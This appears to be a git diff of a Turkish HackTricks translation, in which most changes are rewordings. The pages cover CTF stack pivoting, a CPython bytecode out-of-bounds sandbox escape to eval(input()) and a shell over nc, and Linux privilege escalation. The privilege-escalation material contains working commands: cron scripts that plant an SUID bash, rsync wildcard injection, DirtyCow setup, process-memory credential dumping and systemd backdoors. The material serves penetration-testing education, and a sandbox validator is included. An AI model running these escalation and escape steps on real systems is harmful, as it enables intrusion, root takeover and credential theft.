- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 bit, relro, canary, nx ve pie yok. Program, yığın veya pie için bir sızıntı ve bir qword'un WWW'sini sağlar. Önce yığın sızıntısını alın ve WWW'yi kullanarak geri dönüp pie sızıntısını alın. Ardından, WWW'yi kullanarak `.fini_array` girişlerini kötüye kullanarak sonsuz bir döngü oluşturun + `__libc_csu_fini` çağrısı ([daha fazla bilgi burada](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır.
|
||||
- 64 bit, relro, canary, nx ve pie yok. Program, yığın veya pie için bir sızıntı ve bir qword için bir WWW sağlar. Önce yığın sızıntısını alın ve pie sızıntısını geri almak için WWW'yi kullanın. Ardından, WWW'yi kullanarak `.fini_array` girişlerini kötüye kullanarak sonsuz bir döngü oluşturun + `__libc_csu_fini` çağrısı ([daha fazla bilgi burada](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır.
|
||||
- Linux çekirdek belgeleri: Kontrol akışı Uygulama Teknolojisi (CET) Gölge Yığın — SHSTK, `nousershstk`, `/proc/$PID/status` bayrakları ve `arch_prctl` aracılığıyla etkinleştirme hakkında ayrıntılar. https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn: Çekirdek Modu Donanım ile Zorlanan Yığın Koruması (Windows'taki CET gölge yığınlar). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
- Microsoft Learn: Çekirdek Modu Donanım ile Zorunlu Yığın Koruması (Windows'taki CET gölge yığınlar). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -39,7 +39,7 @@ Ama `co_names` boş bir demet haline gelirse ne olur? `LOAD_NAME 2` opcode'u hal
|
||||
|
||||
Çözümün temel konsepti basittir. CPython'daki bazı opcode'lar, örneğin `LOAD_NAME` ve `LOAD_CONST`, OOB okuma için savunmasızdır (?).
|
||||
|
||||
Bu opcode'lar, `consts` veya `names` demetinden `oparg` indeksinden bir nesne alır (bu, `co_consts` ve `co_names`'in arka planda adlandırıldığı şeydir). CPython'un `LOAD_CONST` opcode'unu işlerken ne yaptığını görmek için `LOAD_CONST` hakkında aşağıdaki kısa kesite bakabiliriz.
|
||||
Bu opcode'lar, `consts` veya `names` demetinden `oparg` indeksinden bir nesne alır (arka planda buna `co_consts` ve `co_names` denir). CPython'un `LOAD_CONST` opcode'unu işlerken ne yaptığını görmek için `LOAD_CONST` hakkında aşağıdaki kısa kesiti inceleyebiliriz.
|
||||
```c
|
||||
case TARGET(LOAD_CONST): {
|
||||
PREDICTED(LOAD_CONST);
|
||||
@ -54,14 +54,14 @@ Bu şekilde OOB özelliğini kullanarak rastgele bellek ofsetinden bir "isim" al
|
||||
### Exploit Oluşturma <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
Bu yararlı ofsetleri isimler / sabitler için aldıktan sonra, o ofsetten bir isim / sabit nasıl alır ve kullanırız? İşte size bir hile:\
|
||||
Ofset 5'ten (`LOAD_NAME 5`) bir `__getattribute__` ismi alabileceğimizi varsayalım (`co_names=()`), o zaman sadece şu adımları izleyin:
|
||||
Ofset 5'ten (`LOAD_NAME 5`) bir `__getattribute__` ismi alabileceğimizi varsayalım (`co_names=()`), o zaman sadece aşağıdaki adımları izleyin:
|
||||
```python
|
||||
[a,b,c,d,e,__getattribute__] if [] else [
|
||||
[].__getattribute__
|
||||
# you can get the __getattribute__ method of list object now!
|
||||
]1234
|
||||
```
|
||||
> Dikkat edin ki, bunu `__getattribute__` olarak adlandırmak gerekli değildir, daha kısa veya daha garip bir isim verebilirsiniz.
|
||||
> Dikkat edin ki, bunu `__getattribute__` olarak adlandırmak zorunda değilsiniz, daha kısa veya daha garip bir isim verebilirsiniz.
|
||||
|
||||
Bunun arkasındaki nedeni sadece bytecode'unu görüntüleyerek anlayabilirsiniz:
|
||||
```python
|
||||
@ -205,7 +205,7 @@ print(source)
|
||||
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
|
||||
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
|
||||
```
|
||||
Temelde şu şeyleri yapar, bu dizeleri `__dir__` yönteminden alırız:
|
||||
Temelde şu işlemleri yapar, bu dizeleri `__dir__` yönteminden alırız:
|
||||
```python
|
||||
getattr = (None).__getattribute__('__class__').__getattribute__
|
||||
builtins = getattr(
|
||||
@ -222,7 +222,7 @@ builtins['eval'](builtins['input']())
|
||||
|
||||
### Sürüm notları ve etkilenen opcode'lar (Python 3.11–3.13)
|
||||
|
||||
- CPython bytecode opcode'ları hala `co_consts` ve `co_names` demetlerine tam sayı operandları ile indekslenir. Eğer bir saldırgan bu demetleri boş (veya bytecode tarafından kullanılan maksimum indeksin altında) hale getirebilirse, yorumlayıcı o indeks için sınır dışı belleği okuyacak ve yakın bellekten rastgele bir PyObject işaretçisi elde edecektir. İlgili opcode'lar en azından şunları içerir:
|
||||
- CPython bytecode opcode'ları hala `co_consts` ve `co_names` demetlerine tam sayı operandları ile indekslenir. Bir saldırgan bu demetleri boş (veya bytecode tarafından kullanılan maksimum indeksin altında) hale getirebilirse, yorumlayıcı o indeks için sınır dışı belleği okuyacak ve yakın bellekten rastgele bir PyObject işaretçisi elde edecektir. İlgili opcode'lar en azından şunları içerir:
|
||||
- `LOAD_CONST consti` → `co_consts[consti]` okur.
|
||||
- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → `co_names[...]`'den isimleri okur (3.11+ için `LOAD_ATTR`/`LOAD_GLOBAL` düşük bitte saklama bayrağı bitleri taşır; gerçek indeks `namei >> 1`'dir). Her sürüm için kesin anlamlar için ayrıştırıcı belgelerine bakın. [Python dis docs].
|
||||
- Python 3.11+ gizli `CACHE` girişleri ekleyen adaptif/inline önbellekler tanıttı. Bu, OOB ilkesini değiştirmez; sadece bytecode'u el ile oluşturuyorsanız, `co_code` oluştururken bu önbellek girişlerini hesaba katmanız gerektiği anlamına gelir.
|
||||
@ -272,11 +272,11 @@ print(idx, type(obj), repr(obj)[:80])
|
||||
```
|
||||
Notlar
|
||||
- İsimleri sorgulamak için `LOAD_CONST` yerine `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` kullanın ve yığın kullanımınızı buna göre ayarlayın.
|
||||
- Gerekirse 255'ten büyük indekslere ulaşmak için `EXTENDED_ARG` veya birden fazla `arg` baytı kullanın. Yukarıda olduğu gibi `dis` ile inşa ederken, yalnızca düşük baytı kontrol edersiniz; daha büyük indeksler için, ham baytları kendiniz oluşturun veya saldırıyı birden fazla yükleme ayırın.
|
||||
- Gerekirse 255'ten büyük indekslere ulaşmak için `EXTENDED_ARG` veya birden fazla `arg` baytı kullanın. Yukarıdaki gibi `dis` ile oluştururken, yalnızca düşük baytı kontrol edersiniz; daha büyük indeksler için, ham baytları kendiniz oluşturun veya saldırıyı birden fazla yükleme bölün.
|
||||
|
||||
### Minimal bytecode-sadece RCE deseni (co_consts OOB → builtins → eval/input)
|
||||
### Minimal bytecode-only RCE deseni (co_consts OOB → builtins → eval/input)
|
||||
|
||||
Bir `co_consts` indeksinin builtins modülüne karşılık geldiğini belirledikten sonra, yığını manipüle ederek `eval(input())`'i herhangi bir `co_names` olmadan yeniden oluşturabilirsiniz:
|
||||
Bir `co_consts` indeksini builtins modülüne çözdüğünüzde, yığını manipüle ederek `eval(input())`'i herhangi bir `co_names` olmadan yeniden oluşturabilirsiniz:
|
||||
```python
|
||||
# Build co_code that:
|
||||
# 1) LOAD_CONST <builtins_idx> → push builtins module
|
||||
@ -289,7 +289,7 @@ Bu yaklaşım, `co_code` üzerinde doğrudan kontrol sağlarken `co_consts=()` v
|
||||
|
||||
### Sandbox'lar için savunma kontrolleri ve hafifletmeler
|
||||
|
||||
Güvenilmeyen kodu derleyen/değerlendiren veya kod nesnelerini manipüle eden bir Python “sandbox” yazıyorsanız, bytecode tarafından kullanılan tuple indekslerini sınır kontrolü için CPython'a güvenmeyin. Bunun yerine, kod nesnelerini çalıştırmadan önce kendiniz doğrulayın.
|
||||
Güvenilmeyen kodu derleyen/değerlendiren veya kod nesnelerini manipüle eden bir Python “sandbox” yazıyorsanız, bytecode tarafından kullanılan tuple indekslerini sınır kontrolü için CPython'a güvenmeyin. Bunun yerine, bunları çalıştırmadan önce kod nesnelerini kendiniz doğrulayın.
|
||||
|
||||
Pratik doğrulayıcı (co_consts/co_names için OOB erişimini reddeder)
|
||||
```python
|
||||
@ -330,5 +330,5 @@ Ekstra azaltma fikirleri
|
||||
## Referanslar
|
||||
|
||||
- Splitline’ın HITCON CTF 2022 yazısı “V O I D” (bu tekniğin kökeni ve yüksek seviyeli istismar zinciri): https://blog.splitline.tw/hitcon-ctf-2022/
|
||||
- Python ayrıştırıcı belgeleri (LOAD_CONST/LOAD_NAME/etc. için indeks semantiklerini ve 3.11+ `LOAD_ATTR`/`LOAD_GLOBAL` düşük bit bayraklarını): https://docs.python.org/3.13/library/dis.html
|
||||
- Python ayrıştırıcı belgeleri (LOAD_CONST/LOAD_NAME/etc. için indeks semantik ve 3.11+ `LOAD_ATTR`/`LOAD_GLOBAL` düşük bit bayrakları): https://docs.python.org/3.13/library/dis.html
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### OS bilgisi
|
||||
|
||||
İşletim sisteminin bilgilerini edinmeye başlayalım
|
||||
İşletim sisteminin çalıştığı hakkında bilgi edinmeye başlayalım
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
@ -32,24 +32,24 @@ cat /proc/version
|
||||
uname -a
|
||||
searchsploit "Linux Kernel"
|
||||
```
|
||||
İyi bir savunmasız çekirdek listesi ve bazı **derlenmiş istismarlar** burada bulunabilir: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
|
||||
Diğer bazı **derlenmiş istismarlar** bulabileceğiniz siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
|
||||
İyi bir savunmasız çekirdek listesi ve bazı **derlenmiş exploitler** burada bulunabilir: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
|
||||
Diğer bazı **derlenmiş exploitler** bulabileceğiniz siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
|
||||
|
||||
O web sitesinden tüm savunmasız çekirdek sürümlerini çıkarmak için şunları yapabilirsiniz:
|
||||
```bash
|
||||
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
|
||||
```
|
||||
Kerneli açıklarını aramak için yardımcı olabilecek araçlar şunlardır:
|
||||
Kernal açıklarını aramaya yardımcı olabilecek araçlar şunlardır:
|
||||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (kurban üzerinde çalıştırın, yalnızca 2.x çekirdekleri için açıkları kontrol eder)
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (kurban üzerinde çalıştırın, yalnızca 2.x kernel için açıkları kontrol eder)
|
||||
|
||||
Her zaman **Google'da çekirdek sürümünü arayın**, belki de çekirdek sürümünüz bazı çekirdek açıklarında yazılıdır ve bu durumda bu açığın geçerli olduğundan emin olursunuz.
|
||||
Her zaman **Google'da kernel sürümünü arayın**, belki kernel sürümünüz bazı kernel açıklarında yazılıdır ve bu durumda bu açığın geçerli olduğundan emin olursunuz.
|
||||
|
||||
### CVE-2016-5195 (DirtyCow)
|
||||
|
||||
Linux Yetki Yükseltme - Linux Çekirdeği <= 3.19.0-73.8
|
||||
Linux Yetki Yükseltme - Linux Kernel <= 3.19.0-73.8
|
||||
```bash
|
||||
# make dirtycow stable
|
||||
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
|
||||
@ -63,7 +63,7 @@ Görünüşteki savunmasız sudo sürümlerine dayanarak:
|
||||
```bash
|
||||
searchsploit sudo
|
||||
```
|
||||
Bu grep'i kullanarak sudo sürümünün savunmasız olup olmadığını kontrol edebilirsiniz.
|
||||
Bu grep ile sudo sürümünün savunmasız olup olmadığını kontrol edebilirsiniz.
|
||||
```bash
|
||||
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
|
||||
```
|
||||
@ -131,7 +131,7 @@ docker-security/
|
||||
|
||||
## Drives
|
||||
|
||||
**Nelerin monte edildiğini ve monte edilmediğini**, nerede ve neden kontrol edin. Eğer herhangi bir şey monte edilmemişse, onu monte etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz.
|
||||
**Nelerin monte edildiğini ve monte edilmediğini**, nerede ve neden olduğunu kontrol edin. Eğer herhangi bir şey monte edilmemişse, onu monte etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz.
|
||||
```bash
|
||||
ls /dev 2>/dev/null | grep -i "sd"
|
||||
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
|
||||
@ -156,44 +156,44 @@ Daha şüpheli yüklenmiş yazılımların sürümünü manuel olarak kontrol et
|
||||
dpkg -l #Debian
|
||||
rpm -qa #Centos
|
||||
```
|
||||
Eğer makineye SSH erişiminiz varsa, makine içinde yüklü olan eski ve savunmasız yazılımları kontrol etmek için **openVAS** kullanabilirsiniz.
|
||||
Eğer makineye SSH erişiminiz varsa, makine içinde yüklü olan eski ve savunmasız yazılımları kontrol etmek için **openVAS**'ı da kullanabilirsiniz.
|
||||
|
||||
> [!NOTE] > _Bu komutların çoğunlukla işe yaramayacak çok fazla bilgi göstereceğini unutmayın, bu nedenle yüklü yazılım sürümlerinin bilinen açıklar için savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri bazı uygulamaların kullanılması önerilir._
|
||||
|
||||
## Süreçler
|
||||
## İşlemler
|
||||
|
||||
**Hangi süreçlerin** çalıştığına bir göz atın ve herhangi bir sürecin **gerektiğinden daha fazla ayrıcalığa** sahip olup olmadığını kontrol edin (belki root tarafından çalıştırılan bir tomcat?).
|
||||
**Hangi işlemlerin** çalıştırıldığına bir göz atın ve herhangi bir işlemin **gerektiğinden daha fazla ayrıcalığa** sahip olup olmadığını kontrol edin (belki root tarafından çalıştırılan bir tomcat?).
|
||||
```bash
|
||||
ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Her zaman [**electron/cef/chromium debuggers**'ın çalışıp çalışmadığını kontrol edin, bunu yetkileri artırmak için kötüye kullanabilirsiniz](electron-cef-chromium-debugger-abuse.md). **Linpeas**, sürecin komut satırında `--inspect` parametresini kontrol ederek bunları tespit eder.\
|
||||
Ayrıca **işlemlerin ikili dosyaları üzerindeki yetkilerinizi kontrol edin**, belki birinin üzerine yazabilirsiniz.
|
||||
Her zaman [**electron/cef/chromium hata ayıklayıcılarının** çalışıp çalışmadığını kontrol edin, bunu ayrıcalıkları artırmak için kötüye kullanabilirsiniz](electron-cef-chromium-debugger-abuse.md). **Linpeas**, sürecin komut satırında `--inspect` parametresini kontrol ederek bunları tespit eder.\
|
||||
Ayrıca **işlemlerin ikili dosyaları üzerindeki ayrıcalıklarınızı kontrol edin**, belki birinin üzerine yazabilirsiniz.
|
||||
|
||||
### Süreç izleme
|
||||
### İşlem izleme
|
||||
|
||||
[**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanarak süreçleri izleyebilirsiniz. Bu, sıkça yürütülen veya belirli bir gereksinim seti karşılandığında çalıştırılan savunmasız süreçleri tanımlamak için çok yararlı olabilir.
|
||||
[**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanarak işlemleri izleyebilirsiniz. Bu, sıkça yürütülen veya belirli bir gereksinim seti karşılandığında çalıştırılan savunmasız işlemleri tanımlamak için çok yararlı olabilir.
|
||||
|
||||
### Süreç belleği
|
||||
### İşlem belleği
|
||||
|
||||
Bir sunucunun bazı hizmetleri **şifreleri açık metin olarak bellekte saklar**.\
|
||||
Genellikle, diğer kullanıcılara ait süreçlerin belleğini okumak için **root yetkilerine** ihtiyacınız olacaktır, bu nedenle bu genellikle zaten root olduğunuzda ve daha fazla şifre keşfetmek istediğinizde daha faydalıdır.\
|
||||
Genellikle, diğer kullanıcılara ait süreçlerin belleğini okumak için **root ayrıcalıklarına** ihtiyacınız olacaktır, bu nedenle bu genellikle zaten root olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha faydalıdır.\
|
||||
Ancak, **normal bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabileceğinizi unutmayın**.
|
||||
|
||||
> [!WARNING]
|
||||
> Günümüzde çoğu makine **varsayılan olarak ptrace'a izin vermez**, bu da yetkisiz kullanıcınıza ait diğer süreçleri dökemezsiniz anlamına gelir.
|
||||
> Günümüzde çoğu makinenin **varsayılan olarak ptrace'a izin vermediğini** unutmayın, bu da ayrıcalıksız kullanıcınıza ait diğer süreçleri dökemezsiniz anlamına gelir.
|
||||
>
|
||||
> _**/proc/sys/kernel/yama/ptrace_scope**_ dosyası ptrace erişimini kontrol eder:
|
||||
>
|
||||
> - **kernel.yama.ptrace_scope = 0**: tüm süreçler, aynı uid'ye sahip oldukları sürece hata ayıklanabilir. Bu, ptracing'in klasik çalışma şeklidir.
|
||||
> - **kernel.yama.ptrace_scope = 1**: yalnızca bir ana süreç hata ayıklanabilir.
|
||||
> - **kernel.yama.ptrace_scope = 2**: Yalnızca yönetici ptrace kullanabilir, çünkü bu CAP_SYS_PTRACE yeteneğini gerektirir.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Bir kez ayarlandığında, ptracing'i tekrar etkinleştirmek için yeniden başlatma gereklidir.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Ayarlandıktan sonra, ptracing'i tekrar etkinleştirmek için bir yeniden başlatma gereklidir.
|
||||
|
||||
#### GDB
|
||||
|
||||
Bir FTP hizmetinin belleğine erişiminiz varsa (örneğin) Heap'i alabilir ve içindeki şifreleri arayabilirsiniz.
|
||||
Bir FTP hizmetinin belleğine erişiminiz varsa (örneğin) Heap'i alabilir ve içindeki kimlik bilgilerini arayabilirsiniz.
|
||||
```bash
|
||||
gdb -p <FTP_PROCESS_PID>
|
||||
(gdb) info proc mappings
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Verilen bir işlem kimliği için, **maps o işlemin** sanal adres alanında belleğin nasıl haritalandığını gösterir; ayrıca **her haritalanmış bölgenin izinlerini** de gösterir. **mem** sanal dosyası **işlemin belleğini** kendisi açığa çıkarır. **maps** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu** ve bunların ofsetlerini biliyoruz. Bu bilgiyi, **mem dosyasına erişmek ve tüm okunabilir bölgeleri** bir dosyaya dökmek için kullanıyoruz.
|
||||
Verilen bir işlem kimliği için, **maps o işlemin** sanal adres alanında belleğin nasıl haritalandığını gösterir; ayrıca **her haritalanmış bölgenin izinlerini** de gösterir. **mem** sanal dosyası **işlemin belleğini** kendisi açığa çıkarır. **maps** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu** ve bunların ofsetlerini öğreniriz. Bu bilgiyi, **mem dosyasına erişmek ve tüm okunabilir bölgeleri** bir dosyaya dökmek için kullanırız.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -270,7 +270,7 @@ Bir işlem belleğini dökmek için şunları kullanabilirsiniz:
|
||||
|
||||
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Root gereksinimlerini manuel olarak kaldırabilir ve sizin sahip olduğunuz işlemi dökebilirsiniz
|
||||
- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) adresindeki Script A.5 (root gereklidir)
|
||||
- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) içindeki Script A.5 (root gereklidir)
|
||||
|
||||
### İşlem Belleğinden Kimlik Bilgileri
|
||||
|
||||
@ -288,7 +288,7 @@ strings *.dump | grep -i password
|
||||
```
|
||||
#### mimipenguin
|
||||
|
||||
Araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **bellekten açık metin kimlik bilgilerini** ve bazı **iyi bilinen dosyalardan** **çalar**. Doğru çalışması için root ayrıcalıkları gerektirir.
|
||||
Araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **bellekten açık metin kimlik bilgilerini çalacak** ve bazı **iyi bilinen dosyalardan** alacaktır. Doğru çalışması için root ayrıcalıkları gereklidir.
|
||||
|
||||
| Özellik | Süreç Adı |
|
||||
| ------------------------------------------------- | -------------------- |
|
||||
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||
```
|
||||
## Zamanlanmış/Cron görevleri
|
||||
|
||||
Herhangi bir zamanlanmış görevin savunmasız olup olmadığını kontrol edin. Belki de root tarafından yürütülen bir scriptten faydalanabilirsiniz (wildcard vuln? root'un kullandığı dosyaları değiştirebilir mi? symlink'ler kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?).
|
||||
Herhangi bir zamanlanmış görevin savunmasız olup olmadığını kontrol edin. Belki root tarafından yürütülen bir scriptten faydalanabilirsiniz (wildcard vuln? root'un kullandığı dosyaları değiştirebilir mi? symlink'ler kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?).
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
@ -327,7 +327,7 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
|
||||
|
||||
(_Kullanıcı "user"ın /home/user üzerinde yazma ayrıcalıklarına sahip olduğunu not edin_)
|
||||
|
||||
Eğer bu crontab içinde root kullanıcısı yolu ayarlamadan bazı komut veya betikler çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\
|
||||
Eğer bu crontab içinde root kullanıcısı bir komut veya scripti yolu ayarlamadan çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\
|
||||
O zaman, şunu kullanarak bir root shell elde edebilirsiniz:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
```
|
||||
### Cron bir joker karakterle bir script kullanarak (Joker Karakter Enjeksiyonu)
|
||||
|
||||
Eğer root tarafından yürütülen bir script bir komut içinde “**\***” içeriyorsa, bunu beklenmedik şeyler yapmak için kullanabilirsiniz (örneğin, privesc). Örnek:
|
||||
Eğer root tarafından yürütülen bir script bir komutun içinde “**\***” içeriyorsa, bunu beklenmedik şeyler yapmak için kullanabilirsiniz (örneğin, privesc). Örnek:
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
Eğer root tarafından yürütülen script, **tam erişiminiz olan bir dizini kullanıyorsa**, belki de o klasörü silmek ve **kontrolünüzdeki bir script'i sunan başka birine symlink klasörü oluşturmak** faydalı olabilir.
|
||||
Eğer root tarafından yürütülen script, **tam erişiminiz olan bir dizini** kullanıyorsa, belki de o klasörü silmek ve **kontrolünüzdeki bir script'i sunan başka birine symlink klasörü oluşturmak** faydalı olabilir.
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
@ -368,7 +368,7 @@ Her 1, 2 veya 5 dakikada bir yürütülen süreçleri aramak için süreçleri i
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
**Ayrıca** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **kullanabilirsiniz** (bu, başlayan her süreci izler ve listeler).
|
||||
**Ayrıca** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **kullanabilirsiniz** (bu, başlayan her süreci izleyecek ve listeleyecektir).
|
||||
|
||||
### Görünmez cron işleri
|
||||
|
||||
@ -385,7 +385,7 @@ Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin, e
|
||||
|
||||
### Yazılabilir hizmet ikili dosyaları
|
||||
|
||||
Hizmetler tarafından yürütülen ikili dosyalar üzerinde **yazma izinleriniz** varsa, bunları arka kapılarla değiştirebileceğinizi unutmayın, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır.
|
||||
Eğer hizmetler tarafından yürütülen ikili dosyalar üzerinde **yazma izinleriniz varsa**, bunları arka kapılarla değiştirebilirsiniz, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır.
|
||||
|
||||
### systemd PATH - Göreli Yollar
|
||||
|
||||
@ -393,7 +393,7 @@ Hizmetler tarafından yürütülen ikili dosyalar üzerinde **yazma izinleriniz*
|
||||
```bash
|
||||
systemctl show-environment
|
||||
```
|
||||
Eğer yolun herhangi bir klasöründe **yazma** yetkiniz olduğunu bulursanız, **yetkileri yükseltebilirsiniz**. **Hizmet yapılandırma** dosyalarında kullanılan **göreli yolları** aramanız gerekir, örneğin:
|
||||
Eğer yolun herhangi bir klasöründe **yazma** yetkiniz olduğunu bulursanız, **yetkileri yükseltebilirsiniz**. **Hizmet yapılandırma** dosyalarında kullanılan **göreli yolları** aramanız gerekiyor, örneğin:
|
||||
```bash
|
||||
ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
@ -401,7 +401,7 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Sonra, yazabileceğiniz systemd PATH klasörü içinde **göreli yol ikili dosyasıyla aynı isme sahip bir **çalıştırılabilir** dosya oluşturun ve hizmet, savunmasız eylemi (**Başlat**, **Durdur**, **Yenile**) gerçekleştirmesi istendiğinde, **arka kapınız çalıştırılacaktır** (yetkisiz kullanıcılar genellikle hizmetleri başlatamaz/durduramaz, ancak `sudo -l` kullanıp kullanamayacağınıza bakın).
|
||||
|
||||
**Hizmetler hakkında daha fazla bilgi edinin: `man systemd.service`.**
|
||||
**Hizmetler hakkında daha fazla bilgi için `man systemd.service` komutunu öğrenin.**
|
||||
|
||||
## **Zamanlayıcılar**
|
||||
|
||||
@ -413,20 +413,20 @@ systemctl list-timers --all
|
||||
```
|
||||
### Yazılabilir zamanlayıcılar
|
||||
|
||||
Eğer bir zamanlayıcıyı değiştirebiliyorsanız, onu systemd.unit'in bazı varlıklarını (örneğin bir `.service` veya bir `.target`) çalıştıracak şekilde ayarlayabilirsiniz.
|
||||
Eğer bir zamanlayıcıyı değiştirebiliyorsanız, onu bazı systemd.unit varlıklarını (örneğin bir `.service` veya bir `.target`) çalıştıracak şekilde ayarlayabilirsiniz.
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
Belgede, Birimin ne olduğunu okuyabilirsiniz:
|
||||
Belgede, bir Birimin ne olduğunu okuyabilirsiniz:
|
||||
|
||||
